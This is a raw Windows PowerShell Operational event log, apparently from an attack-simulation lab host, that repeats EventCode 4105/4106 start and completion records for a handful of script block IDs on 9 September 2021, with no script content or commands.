Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1987975 Keywords=None Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:06:54 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1987974 Keywords=None Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:06:58 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1987993 Keywords=None Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:06:58 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1987992 Keywords=None Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:06:58 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1987991 Keywords=None Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:06:58 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1987990 Keywords=None Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:06:58 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1987989 Keywords=None Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:06:58 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1987988 Keywords=None Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:06:58 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1987987 Keywords=None Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:06:58 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1987986 Keywords=None Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:06:58 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1987985 Keywords=None Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:06:58 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1987984 Keywords=None Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:07:03 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988003 Keywords=None Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:07:03 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988002 Keywords=None Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:07:03 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988001 Keywords=None Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:07:03 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988000 Keywords=None Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:07:03 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1987999 Keywords=None Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:07:03 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1987998 Keywords=None Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:07:03 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1987997 Keywords=None Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:07:03 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1987996 Keywords=None Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:07:03 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1987995 Keywords=None Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:07:03 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1987994 Keywords=None Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:07:09 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988013 Keywords=None Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:07:09 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988012 Keywords=None Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:07:09 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988011 Keywords=None Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:07:09 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988010 Keywords=None Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:07:09 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988009 Keywords=None Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:07:09 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988008 Keywords=None Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:07:09 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988007 Keywords=None Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:07:09 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988006 Keywords=None Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:07:09 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988005 Keywords=None Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:07:09 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988004 Keywords=None Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:07:14 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988023 Keywords=None Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:07:14 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988022 Keywords=None Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:07:14 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988021 Keywords=None Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:07:14 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988020 Keywords=None Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:07:14 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988019 Keywords=None Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:07:14 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988018 Keywords=None Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:07:14 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988017 Keywords=None Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:07:14 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988016 Keywords=None Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:07:14 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988015 Keywords=None Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:07:14 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988014 Keywords=None Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:07:20 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988033 Keywords=None Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:07:20 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988032 Keywords=None Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:07:20 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988031 Keywords=None Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:07:20 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988030 Keywords=None Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:07:20 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988029 Keywords=None Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:07:20 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988028 Keywords=None Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:07:20 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988027 Keywords=None Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:07:20 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988026 Keywords=None Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:07:20 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988025 Keywords=None Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:07:20 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988024 Keywords=None Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:07:25 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988043 Keywords=None Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:07:25 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988042 Keywords=None Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:07:25 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988041 Keywords=None Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:07:25 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988040 Keywords=None Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:07:25 PM 